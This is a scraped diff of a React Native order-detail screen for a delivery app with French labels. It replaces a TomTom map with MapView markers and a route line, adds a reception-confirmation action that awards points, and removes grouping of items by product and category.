await deleteCommandItem(orderId, itemId);
|
||||||
const itemsRes = await getCommandItems(orderId);
|
const itemsRes = await getCommandItems(orderId);
|
||||||
setItems(itemsRes.items ?? []);
|
setItems(itemsRes.items);
|
||||||
const cmdRes = await getCommandByID(orderId);
|
const cmdRes = await getCommandByID(orderId);
|
||||||
setCommand(cmdRes.command);
|
setCommand(cmdRes.command);
|
||||||
} catch (e: any) {
|
} catch (e: any) {
|
||||||
@@ -205,6 +217,20 @@ export default function OrderDetailScreen() {
|
|||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const handleConfirmReception = async () => {
|
||||||
|
try {
|
||||||
|
const res = await confirmReceptionAdmin(orderId);
|
||||||
|
showSuccess(
|
||||||
|
"Réception confirmée",
|
||||||
|
`${res.points_earned} point(s) attribués au client ${res.client_username}`,
|
||||||
|
);
|
||||||
|
const updated = await getCommandByID(orderId);
|
||||||
|
setCommand(updated.command);
|
||||||
|
} catch (e: any) {
|
||||||
|
showError("Erreur", e.message);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleDeleteCommand = () => {
|
const handleDeleteCommand = () => {
|
||||||
Alert.alert(
|
Alert.alert(
|
||||||
"Supprimer la commande",
|
"Supprimer la commande",
|
||||||
@@ -290,6 +316,39 @@ export default function OrderDetailScreen() {
|
|||||||
},
|
},
|
||||||
map: { width: "100%", height: MAP_HEIGHT },
|
map: { width: "100%", height: MAP_HEIGHT },
|
||||||
|
|
||||||
|
driverMarkerOuter: {
|
||||||
|
width: 34,
|
||||||
|
height: 34,
|
||||||
|
borderRadius: 17,
|
||||||
|
backgroundColor: colors.success + "40",
|
||||||
|
justifyContent: "center",
|
||||||
|
alignItems: "center",
|
||||||
|
},
|
||||||
|
driverMarkerInner: {
|
||||||
|
width: 26,
|
||||||
|
height: 26,
|
||||||
|
borderRadius: 13,
|
||||||
|
backgroundColor: colors.success,
|
||||||
|
justifyContent: "center",
|
||||||
|
alignItems: "center",
|
||||||
|
},
|
||||||
|
destMarkerOuter: {
|
||||||
|
width: 30,
|
||||||
|
height: 30,
|
||||||
|
borderRadius: 15,
|
||||||
|
backgroundColor: colors.danger + "40",
|
||||||
|
justifyContent: "center",
|
||||||
|
alignItems: "center",
|
||||||
|
},
|
||||||
|
destMarkerInner: {
|
||||||
|
width: 22,
|
||||||
|
height: 22,
|
||||||
|
borderRadius: 11,
|
||||||
|
backgroundColor: colors.danger,
|
||||||
|
justifyContent: "center",
|
||||||
|
alignItems: "center",
|
||||||
|
},
|
||||||
|
|
||||||
routeOverlay: {
|
routeOverlay: {
|
||||||
position: "absolute",
|
position: "absolute",
|
||||||
top: spacing.s,
|
top: spacing.s,
|
||||||
@@ -350,81 +409,6 @@ export default function OrderDetailScreen() {
|
|||||||
marginTop: spacing.xs,
|
marginTop: spacing.xs,
|
||||||
},
|
},
|
||||||
|
|
||||||
// Grouped items
|
|
||||||
subItemRow: {
|
|
||||||
flexDirection: "row",
|
|
||||||
justifyContent: "space-between",
|
|
||||||
alignItems: "center",
|
|
||||||
paddingVertical: spacing.xs,
|
|
||||||
paddingLeft: spacing.m,
|
|
||||||
borderLeftWidth: 2,
|
|
||||||
borderLeftColor: colors.border,
|
|
||||||
marginLeft: spacing.xs,
|
|
||||||
marginBottom: 2,
|
|
||||||
},
|
|
||||||
subItemText: {
|
|
||||||
color: colors.textSecondary,
|
|
||||||
fontSize: fontSize.sm,
|
|
||||||
flex: 1,
|
|
||||||
},
|
|
||||||
groupTotalRow: {
|
|
||||||
flexDirection: "row",
|
|
||||||
justifyContent: "space-between",
|
|
||||||
alignItems: "center",
|
|
||||||
marginTop: spacing.s,
|
|
||||||
paddingTop: spacing.s,
|
|
||||||
borderTopWidth: 1,
|
|
||||||
borderTopColor: colors.border,
|
|
||||||
},
|
|
||||||
groupTotalQty: {
|
|
||||||
color: colors.textWhite,
|
|
||||||
fontSize: fontSize.sm,
|
|
||||||
fontWeight: "700",
|
|
||||||
},
|
|
||||||
groupTotalPrice: {
|
|
||||||
color: colors.accent,
|
|
||||||
fontSize: fontSize.md,
|
|
||||||
fontWeight: "700",
|
|
||||||
},
|
|
||||||
categoryBadge: {
|
|
||||||
fontSize: fontSize.xs,
|
|
||||||
color: colors.accent,
|
|
||||||
fontWeight: "600",
|
|
||||||
marginRight: spacing.s,
|
|
||||||
textTransform: "uppercase",
|
|
||||||
},
|
|
||||||
// Category summary
|
|
||||||
categorySummaryCard: {
|
|
||||||
marginTop: spacing.s,
|
|
||||||
},
|
|
||||||
categoryRow: {
|
|
||||||
flexDirection: "row",
|
|
||||||
justifyContent: "space-between",
|
|
||||||
alignItems: "center",
|
|
||||||
paddingVertical: spacing.s,
|
|
||||||
borderBottomWidth: 1,
|
|
||||||
borderBottomColor: colors.border,
|
|
||||||
},
|
|
||||||
categoryName: {
|
|
||||||
color: colors.textSecondary,
|
|
||||||
fontSize: fontSize.sm,
|
|
||||||
fontWeight: "600",
|
|
||||||
flex: 1,
|
|
||||||
},
|
|
||||||
categoryQty: {
|
|
||||||
color: colors.textWhite,
|
|
||||||
fontSize: fontSize.sm,
|
|
||||||
fontWeight: "700",
|
|
||||||
marginRight: spacing.l,
|
|
||||||
},
|
|
||||||
categoryTotal: {
|
|
||||||
color: colors.accent,
|
|
||||||
fontSize: fontSize.sm,
|
|
||||||
fontWeight: "700",
|
|
||||||
minWidth: 70,
|
|
||||||
textAlign: "right",
|
|
||||||
},
|
|
||||||
|
|
||||||
// Items modal
|
// Items modal
|
||||||
itemsModalOverlay: {
|
itemsModalOverlay: {
|
||||||
flex: 1,
|
flex: 1,
|
||||||
@@ -492,30 +476,6 @@ export default function OrderDetailScreen() {
|
|||||||
[colors, MAP_HEIGHT],
|
[colors, MAP_HEIGHT],
|
||||||
);
|
);
|
||||||
|
|
||||||
// Groupement des items par product_id
|
|
||||||
const productGroups = (items ?? []).reduce<Record<string, any[]>>(
|
|
||||||
(acc, item) => {
|
|
||||||
const key = String(item.product_id || item.produit);
|
|
||||||
if (!acc[key]) acc[key] = [];
|
|
||||||
acc[key].push(item);
|
|
||||||
return acc;
|
|
||||||
},
|
|
||||||
{},
|
|
||||||
);
|
|
||||||
const groupedList = Object.values(productGroups);
|
|
||||||
|
|
||||||
// Récapitulatif par catégorie
|
|
||||||
const categoryTotals = (items ?? []).reduce<
|
|
||||||
Record<string, { qty: number; total: number }>
|
|
||||||
>((acc, item) => {
|
|
||||||
const cat = item.category || "Autre";
|
|
||||||
if (!acc[cat]) acc[cat] = { qty: 0, total: 0 };
|
|
||||||
acc[cat].qty += item.quantite ?? 0;
|
|
||||||
acc[cat].total += item.prix ?? 0;
|
|
||||||
return acc;
|
|
||||||
}, {});
|
|
||||||
const categoryEntries = Object.entries(categoryTotals);
|
|
||||||
|
|
||||||
if (loading) return <LoadingSpinner message="Chargement..." />;
|
if (loading) return <LoadingSpinner message="Chargement..." />;
|
||||||
if (!command)
|
if (!command)
|
||||||
return (
|
return (
|
||||||
@@ -536,21 +496,74 @@ export default function OrderDetailScreen() {
|
|||||||
visible={mapFullscreen}
|
visible={mapFullscreen}
|
||||||
animationType="fade"
|
animationType="fade"
|
||||||
onRequestClose={() => setMapFullscreen(false)}
|
onRequestClose={() => setMapFullscreen(false)}
|
||||||
|
statusBarTranslucent
|
||||||
>
|
>
|
||||||
|
<StatusBar hidden={mapFullscreen} />
|
||||||
<View style={styles.fullscreenContainer}>
|
<View style={styles.fullscreenContainer}>
|
||||||
<TomTomMap
|
{livreurCoords && (
|
||||||
ref={fullscreenMapRef}
|
<MapView
|
||||||
style={styles.fullscreenMap}
|
ref={fullscreenMapRef}
|
||||||
markers={livreurMarkers}
|
provider={PROVIDER_DEFAULT}
|
||||||
initialCenter={livreurCoords ?? undefined}
|
style={styles.fullscreenMap}
|
||||||
initialZoom={14}
|
initialRegion={{
|
||||||
/>
|
latitude: livreurCoords.latitude,
|
||||||
|
longitude: livreurCoords.longitude,
|
||||||
|
latitudeDelta: 0.02,
|
||||||
|
longitudeDelta: 0.02,
|
||||||
|
}}
|
||||||
|
onMapReady={() => fitMapToRoute(fullscreenMapRef)}
|
||||||
|
showsCompass
|
||||||
|
showsScale
|
||||||
|
>
|
||||||
|
<Marker
|
||||||
|
coordinate={livreurCoords}
|
||||||
|
title={command.livreur_assign}
|
||||||
|
>
|
||||||
|
<View style={styles.driverMarkerOuter}>
|
||||||
|
<View style={styles.driverMarkerInner}>
|
||||||
|
<Ionicons
|
||||||
|
name="bicycle"
|
||||||
|
size={14}
|
||||||
|
color={colors.white}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Marker>
|
||||||
|
{destCoords && (
|
||||||
|
<Marker
|
||||||
|
coordinate={destCoords}
|
||||||
|
title="Destination"
|
||||||
|
>
|
||||||
|
<View style={styles.destMarkerOuter}>
|
||||||
|
<View style={styles.destMarkerInner}>
|
||||||
|
<Ionicons
|
||||||
|
name="flag"
|
||||||
|
size={12}
|
||||||
|
color={colors.white}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Marker>
|
||||||
|
)}
|
||||||
|
{routeInfo && routeInfo.coordinates.length > 0 && (
|
||||||
|
<Polyline
|
||||||
|
coordinates={routeInfo.coordinates}
|
||||||
|
strokeColor="#4285F4"
|
||||||
|
strokeWidth={5}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</MapView>
|
||||||
|
)}
|
||||||
<View style={styles.fullscreenTopBar}>
|
<View style={styles.fullscreenTopBar}>
|
||||||
<TouchableOpacity
|
<TouchableOpacity
|
||||||
style={styles.closeBtn}
|
style={styles.closeBtn}
|
||||||
onPress={() => setMapFullscreen(false)}
|
onPress={() => setMapFullscreen(false)}
|
||||||
>
|
>
|
||||||
<Ionicons name="close" size={24} color={colors.white} />
|
<Ionicons
|
||||||
|
name="close"
|
||||||
|
size={24}
|
||||||
|
color={colors.white}
|
||||||
|
/>
|
||||||
</TouchableOpacity>
|
</TouchableOpacity>
|
||||||
<Text style={styles.fullscreenTitle}>
|
<Text style={styles.fullscreenTitle}>
|
||||||
{routeInfo
|
{routeInfo
|
||||||
@@ -571,30 +584,12 @@ export default function OrderDetailScreen() {
|
|||||||
<Text style={styles.info}>Client: {command.username}</Text>
|
<Text style={styles.info}>Client: {command.username}</Text>
|
||||||
<Text style={styles.info}>Adresse: {command.adresse}</Text>
|
<Text style={styles.info}>Adresse: {command.adresse}</Text>
|
||||||
<Text style={styles.info}>
|
<Text style={styles.info}>
|
||||||
Total brut: {command.total_prix?.toFixed(2)} €
|
Total: {command.total_prix?.toFixed(2)} €
|
||||||
</Text>
|
</Text>
|
||||||
{command.referral_used > 0 && (
|
{command.referral_used > 0 && (
|
||||||
<>
|
<Text style={[styles.info, { color: colors.success }]}>
|
||||||
<Text style={[styles.info, { color: colors.success }]}>
|
Parrainage utilisé: -{command.referral_used?.toFixed(2)} €
|
||||||
Parrainage utilisé: -
|
</Text>
|
||||||
{command.referral_used?.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
<Text
|
|
||||||
style={[
|
|
||||||
styles.info,
|
|
||||||
{
|
|
||||||
fontWeight: "700",
|
|
||||||
color: colors.textPrimary,
|
|
||||||
},
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
Net:{" "}
|
|
||||||
{(
|
|
||||||
command.total_prix - command.referral_used
|
|
||||||
).toFixed(2)}{" "}
|
|
||||||
€
|
|
||||||
</Text>
|
|
||||||
</>
|
|
||||||
)}
|
)}
|
||||||
{command.livreur_assign && (
|
{command.livreur_assign && (
|
||||||
<Text style={styles.info}>
|
<Text style={styles.info}>
|
||||||
@@ -605,53 +600,29 @@ export default function OrderDetailScreen() {
|
|||||||
{new Date(command.created_at).toLocaleString("fr-FR")}
|
{new Date(command.created_at).toLocaleString("fr-FR")}
|
||||||
</Text>
|
</Text>
|
||||||
{command.status === "cancelled" && command.cancel_reason ? (
|
{command.status === "cancelled" && command.cancel_reason ? (
|
||||||
<View
|
<View style={{
|
||||||
style={{
|
marginTop: spacing.m,
|
||||||
marginTop: spacing.m,
|
padding: spacing.m,
|
||||||
padding: spacing.m,
|
backgroundColor: colors.danger + "18",
|
||||||
backgroundColor: colors.danger + "18",
|
borderRadius: borderRadius.sm,
|
||||||
borderRadius: borderRadius.sm,
|
borderLeftWidth: 3,
|
||||||
borderLeftWidth: 3,
|
borderLeftColor: colors.danger,
|
||||||
borderLeftColor: colors.danger,
|
}}>
|
||||||
}}
|
<Text style={{ color: colors.danger, fontSize: fontSize.xs, fontWeight: "700", marginBottom: 4, textTransform: "uppercase", letterSpacing: 0.5 }}>
|
||||||
>
|
|
||||||
<Text
|
|
||||||
style={{
|
|
||||||
color: colors.danger,
|
|
||||||
fontSize: fontSize.xs,
|
|
||||||
fontWeight: "700",
|
|
||||||
marginBottom: 4,
|
|
||||||
textTransform: "uppercase",
|
|
||||||
letterSpacing: 0.5,
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
Motif d'annulation
|
Motif d'annulation
|
||||||
</Text>
|
</Text>
|
||||||
<Text
|
<Text style={{ color: colors.textSecondary, fontSize: fontSize.sm }}>
|
||||||
style={{
|
|
||||||
color: colors.textSecondary,
|
|
||||||
fontSize: fontSize.sm,
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
{command.cancel_reason}
|
{command.cancel_reason}
|
||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
) : command.status === "cancelled" ? (
|
) : command.status === "cancelled" ? (
|
||||||
<View
|
<View style={{
|
||||||
style={{
|
marginTop: spacing.m,
|
||||||
marginTop: spacing.m,
|
padding: spacing.m,
|
||||||
padding: spacing.m,
|
backgroundColor: colors.bgSecondary,
|
||||||
backgroundColor: colors.bgSecondary,
|
borderRadius: borderRadius.sm,
|
||||||
borderRadius: borderRadius.sm,
|
}}>
|
||||||
}}
|
<Text style={{ color: colors.textMuted, fontSize: fontSize.sm, fontStyle: "italic" }}>
|
||||||
>
|
|
||||||
<Text
|
|
||||||
style={{
|
|
||||||
color: colors.textMuted,
|
|
||||||
fontSize: fontSize.sm,
|
|
||||||
fontStyle: "italic",
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
Aucun motif fourni
|
Aucun motif fourni
|
||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
@@ -664,21 +635,69 @@ export default function OrderDetailScreen() {
|
|||||||
<Text style={styles.sectionTitle}>Suivi du livreur</Text>
|
<Text style={styles.sectionTitle}>Suivi du livreur</Text>
|
||||||
{hasMap ? (
|
{hasMap ? (
|
||||||
<View style={styles.mapContainer}>
|
<View style={styles.mapContainer}>
|
||||||
<TomTomMap
|
<MapView
|
||||||
ref={mapRef}
|
ref={mapRef}
|
||||||
|
provider={PROVIDER_DEFAULT}
|
||||||
style={styles.map}
|
style={styles.map}
|
||||||
markers={livreurMarkers}
|
initialRegion={{
|
||||||
initialCenter={livreurCoords ?? undefined}
|
latitude: livreurCoords!.latitude,
|
||||||
initialZoom={14}
|
longitude: livreurCoords!.longitude,
|
||||||
/>
|
latitudeDelta: 0.02,
|
||||||
|
longitudeDelta: 0.02,
|
||||||
|
}}
|
||||||
|
onMapReady={() => fitMapToRoute(mapRef)}
|
||||||
|
>
|
||||||
|
<Marker
|
||||||
|
coordinate={livreurCoords!}
|
||||||
|
title={command.livreur_assign}
|
||||||
|
>
|
||||||
|
<View style={styles.driverMarkerOuter}>
|
||||||
|
<View style={styles.driverMarkerInner}>
|
||||||
|
<Ionicons
|
||||||
|
name="bicycle"
|
||||||
|
size={14}
|
||||||
|
color={colors.white}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Marker>
|
||||||
|
{destCoords && (
|
||||||
|
<Marker
|
||||||
|
coordinate={destCoords}
|
||||||
|
title="Destination"
|
||||||
|
>
|
||||||
|
<View style={styles.destMarkerOuter}>
|
||||||
|
<View
|
||||||
|
style={styles.destMarkerInner}
|
||||||
|
>
|
||||||
|
<Ionicons
|
||||||
|
name="flag"
|
||||||
|
size={12}
|
||||||
|
color={colors.white}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Marker>
|
||||||
|
)}
|
||||||
|
{routeInfo &&
|
||||||
|
routeInfo.coordinates.length > 0 && (
|
||||||
|
<Polyline
|
||||||
|
coordinates={routeInfo.coordinates}
|
||||||
|
strokeColor="#4285F4"
|
||||||
|
strokeWidth={4}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</MapView>
|
||||||
|
|
||||||
|
{/* Route info overlay */}
|
||||||
{routeInfo && (
|
{routeInfo && (
|
||||||
<View style={styles.routeOverlay}>
|
<View style={styles.routeOverlay}>
|
||||||
<Text style={styles.routeOverlayUser}>
|
<Text style={styles.routeOverlayUser}>
|
||||||
{command.livreur_assign}
|
{command.livreur_assign}
|
||||||
</Text>
|
</Text>
|
||||||
<Text style={styles.routeOverlayInfo}>
|
<Text style={styles.routeOverlayInfo}>
|
||||||
{routeInfo.distance} · {routeInfo.duration}
|
{routeInfo.distance} ·{" "}
|
||||||
|
{routeInfo.duration}
|
||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
)}
|
)}
|
||||||
@@ -723,101 +742,40 @@ export default function OrderDetailScreen() {
|
|||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Items groupés par produit */}
|
{/* Items */}
|
||||||
<Text style={styles.sectionTitle}>Articles ({items.length})</Text>
|
<Text style={styles.sectionTitle}>Articles ({items.length})</Text>
|
||||||
{groupedList.map((group, gi) => {
|
{items.map((item: any) => (
|
||||||
const rep = group[0];
|
<Card key={item.id} style={{ marginBottom: spacing.s }}>
|
||||||
const name = rep.produit ?? rep.product_name;
|
<View style={styles.row}>
|
||||||
const unit = rep.unit || "";
|
<Text style={[styles.itemName, { flex: 1 }]}>
|
||||||
const totalQty = group.reduce(
|
{item.produit ?? item.product_name}
|
||||||
(s: number, it: any) => s + (it.quantite ?? 0),
|
</Text>
|
||||||
0,
|
<TouchableOpacity
|
||||||
);
|
style={styles.itemDeleteBtn}
|
||||||
const totalPrice = group.reduce(
|
onPress={() =>
|
||||||
(s: number, it: any) => s + (it.prix ?? 0),
|
handleDeleteItem(
|
||||||
0,
|
item.id,
|
||||||
);
|
item.produit ?? item.product_name,
|
||||||
const isMultiple = group.length > 1;
|
)
|
||||||
return (
|
}
|
||||||
<Card
|
>
|
||||||
key={`${rep.product_id}-${gi}`}
|
<Ionicons
|
||||||
style={{ marginBottom: spacing.s }}
|
name="trash-outline"
|
||||||
>
|
size={18}
|
||||||
<View style={styles.row}>
|
color={colors.danger}
|
||||||
<Text style={[styles.itemName, { flex: 1 }]}>
|
/>
|
||||||
{name}
|
</TouchableOpacity>
|
||||||
</Text>
|
</View>
|
||||||
{rep.category ? (
|
<View style={styles.itemDetails}>
|
||||||
<Text style={styles.categoryBadge}>
|
<Text style={styles.info}>
|
||||||
{rep.category}
|
Quantité: {item.quantite}
|
||||||
</Text>
|
</Text>
|
||||||
) : null}
|
<Text style={styles.info}>
|
||||||
<TouchableOpacity
|
Prix: {item.prix?.toFixed(2)} €
|
||||||
style={styles.itemDeleteBtn}
|
</Text>
|
||||||
onPress={() => handleDeleteItem(rep.id, name)}
|
</View>
|
||||||
>
|
</Card>
|
||||||
<Ionicons
|
))}
|
||||||
name="trash-outline"
|
|
||||||
size={18}
|
|
||||||
color={colors.danger}
|
|
||||||
/>
|
|
||||||
</TouchableOpacity>
|
|
||||||
</View>
|
|
||||||
{isMultiple &&
|
|
||||||
group.map((item: any, i: number) => (
|
|
||||||
<View key={item.id} style={styles.subItemRow}>
|
|
||||||
<Text style={styles.subItemText}>
|
|
||||||
{item.quantite}
|
|
||||||
{unit} — {item.prix?.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
<TouchableOpacity
|
|
||||||
onPress={() =>
|
|
||||||
handleDeleteItem(item.id, name)
|
|
||||||
}
|
|
||||||
>
|
|
||||||
<Ionicons
|
|
||||||
name="remove-circle-outline"
|
|
||||||
size={16}
|
|
||||||
color={colors.danger}
|
|
||||||
/>
|
|
||||||
</TouchableOpacity>
|
|
||||||
</View>
|
|
||||||
))}
|
|
||||||
<View style={styles.groupTotalRow}>
|
|
||||||
<Text style={styles.groupTotalQty}>
|
|
||||||
{isMultiple
|
|
||||||
? `Total: ${totalQty}${unit}`
|
|
||||||
: `${totalQty}${unit}`}
|
|
||||||
</Text>
|
|
||||||
<Text style={styles.groupTotalPrice}>
|
|
||||||
{totalPrice.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
</Card>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
|
|
||||||
{/* Récapitulatif par catégorie */}
|
|
||||||
{categoryEntries.length > 0 && (
|
|
||||||
<>
|
|
||||||
<Text style={styles.sectionTitle}>Par catégorie</Text>
|
|
||||||
<Card style={styles.categorySummaryCard}>
|
|
||||||
{categoryEntries.map(([cat, data]) => (
|
|
||||||
<View key={cat} style={styles.categoryRow}>
|
|
||||||
<Text style={styles.categoryName}>{cat}</Text>
|
|
||||||
<Text style={styles.categoryQty}>
|
|
||||||
{data.qty.toFixed(
|
|
||||||
data.qty % 1 === 0 ? 0 : 2,
|
|
||||||
)}
|
|
||||||
</Text>
|
|
||||||
<Text style={styles.categoryTotal}>
|
|
||||||
{data.total.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
))}
|
|
||||||
</Card>
|
|
||||||
</>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* Actions */}
|
{/* Actions */}
|
||||||
<Text style={styles.sectionTitle}>Actions</Text>
|
<Text style={styles.sectionTitle}>Actions</Text>
|
||||||
@@ -865,7 +823,15 @@ export default function OrderDetailScreen() {
|
|||||||
style={{ marginTop: spacing.s }}
|
style={{ marginTop: spacing.s }}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
|
{!["approved", "cancelled"].includes(command.status) && (
|
||||||
|
<Button
|
||||||
|
title="Confirmer la commande"
|
||||||
|
onPress={handleConfirmReception}
|
||||||
|
variant="primary"
|
||||||
|
fullWidth
|
||||||
|
style={{ marginTop: spacing.s }}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
<Button
|
<Button
|
||||||
title="Supprimer la commande"
|
title="Supprimer la commande"
|
||||||
onPress={handleDeleteCommand}
|
onPress={handleDeleteCommand}
|
||||||
@@ -899,132 +865,48 @@ export default function OrderDetailScreen() {
|
|||||||
</TouchableOpacity>
|
</TouchableOpacity>
|
||||||
</View>
|
</View>
|
||||||
<ScrollView showsVerticalScrollIndicator={false}>
|
<ScrollView showsVerticalScrollIndicator={false}>
|
||||||
{groupedList.map((group, gi) => {
|
{items.map((item: any) => (
|
||||||
const rep = group[0];
|
|
||||||
const name = rep.produit ?? rep.product_name;
|
|
||||||
const unit = rep.unit || "";
|
|
||||||
const totalQty = group.reduce(
|
|
||||||
(s: number, it: any) =>
|
|
||||||
s + (it.quantite ?? 0),
|
|
||||||
0,
|
|
||||||
);
|
|
||||||
const totalPrice = group.reduce(
|
|
||||||
(s: number, it: any) => s + (it.prix ?? 0),
|
|
||||||
0,
|
|
||||||
);
|
|
||||||
const isMultiple = group.length > 1;
|
|
||||||
return (
|
|
||||||
<View
|
|
||||||
key={`modal-${rep.product_id}-${gi}`}
|
|
||||||
style={styles.itemsModalCard}
|
|
||||||
>
|
|
||||||
<View style={styles.row}>
|
|
||||||
<Text
|
|
||||||
style={[
|
|
||||||
styles.itemName,
|
|
||||||
{ flex: 1 },
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
{name}
|
|
||||||
</Text>
|
|
||||||
{rep.category ? (
|
|
||||||
<Text
|
|
||||||
style={styles.categoryBadge}
|
|
||||||
>
|
|
||||||
{rep.category}
|
|
||||||
</Text>
|
|
||||||
) : null}
|
|
||||||
<TouchableOpacity
|
|
||||||
style={styles.itemDeleteBtn}
|
|
||||||
onPress={() => {
|
|
||||||
setShowItemsModal(false);
|
|
||||||
handleDeleteItem(
|
|
||||||
rep.id,
|
|
||||||
name,
|
|
||||||
);
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
<Ionicons
|
|
||||||
name="trash-outline"
|
|
||||||
size={18}
|
|
||||||
color={colors.danger}
|
|
||||||
/>
|
|
||||||
</TouchableOpacity>
|
|
||||||
</View>
|
|
||||||
{isMultiple &&
|
|
||||||
group.map((item: any) => (
|
|
||||||
<View
|
|
||||||
key={item.id}
|
|
||||||
style={styles.subItemRow}
|
|
||||||
>
|
|
||||||
<Text
|
|
||||||
style={
|
|
||||||
styles.subItemText
|
|
||||||
}
|
|
||||||
>
|
|
||||||
{item.quantite}
|
|
||||||
{unit} —{" "}
|
|
||||||
{item.prix?.toFixed(2)}{" "}
|
|
||||||
€
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
))}
|
|
||||||
<View style={styles.groupTotalRow}>
|
|
||||||
<Text style={styles.groupTotalQty}>
|
|
||||||
{isMultiple
|
|
||||||
? `Total: ${totalQty}${unit}`
|
|
||||||
: `${totalQty}${unit}`}
|
|
||||||
</Text>
|
|
||||||
<Text
|
|
||||||
style={styles.groupTotalPrice}
|
|
||||||
>
|
|
||||||
{totalPrice.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
</View>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
{/* Récapitulatif catégories dans le modal */}
|
|
||||||
{categoryEntries.length > 0 && (
|
|
||||||
<View
|
<View
|
||||||
style={{
|
key={item.id}
|
||||||
marginTop: spacing.m,
|
style={styles.itemsModalCard}
|
||||||
borderTopWidth: 1,
|
|
||||||
borderTopColor: colors.border,
|
|
||||||
paddingTop: spacing.m,
|
|
||||||
}}
|
|
||||||
>
|
>
|
||||||
<Text
|
<View style={styles.row}>
|
||||||
style={[
|
<Text
|
||||||
styles.itemsModalTitle,
|
style={[
|
||||||
{
|
styles.itemName,
|
||||||
fontSize: fontSize.md,
|
{ flex: 1 },
|
||||||
marginBottom: spacing.s,
|
]}
|
||||||
},
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
Par catégorie
|
|
||||||
</Text>
|
|
||||||
{categoryEntries.map(([cat, data]) => (
|
|
||||||
<View
|
|
||||||
key={cat}
|
|
||||||
style={styles.categoryRow}
|
|
||||||
>
|
>
|
||||||
<Text style={styles.categoryName}>
|
{item.produit ?? item.product_name}
|
||||||
{cat}
|
</Text>
|
||||||
</Text>
|
<TouchableOpacity
|
||||||
<Text style={styles.categoryQty}>
|
style={styles.itemDeleteBtn}
|
||||||
{data.qty.toFixed(
|
onPress={() => {
|
||||||
data.qty % 1 === 0 ? 0 : 2,
|
setShowItemsModal(false);
|
||||||
)}
|
handleDeleteItem(
|
||||||
</Text>
|
item.id,
|
||||||
<Text style={styles.categoryTotal}>
|
item.produit ??
|
||||||
{data.total.toFixed(2)} €
|
item.product_name,
|
||||||
</Text>
|
);
|
||||||
</View>
|
}}
|
||||||
))}
|
>
|
||||||
|
<Ionicons
|
||||||
|
name="trash-outline"
|
||||||
|
size={18}
|
||||||
|
color={colors.danger}
|
||||||
|
/>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
<View style={styles.itemDetails}>
|
||||||
|
<Text style={styles.info}>
|
||||||
|
Quantité: {item.quantite}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.info}>
|
||||||
|
Prix: {item.prix?.toFixed(2)} €
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
</View>
|
</View>
|
||||||
)}
|
))}
|
||||||
{items.length === 0 && (
|
{items.length === 0 && (
|
||||||
<Text style={styles.empty}>Aucun article</Text>
|
<Text style={styles.empty}>Aucun article</Text>
|
||||||
)}
|
)}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user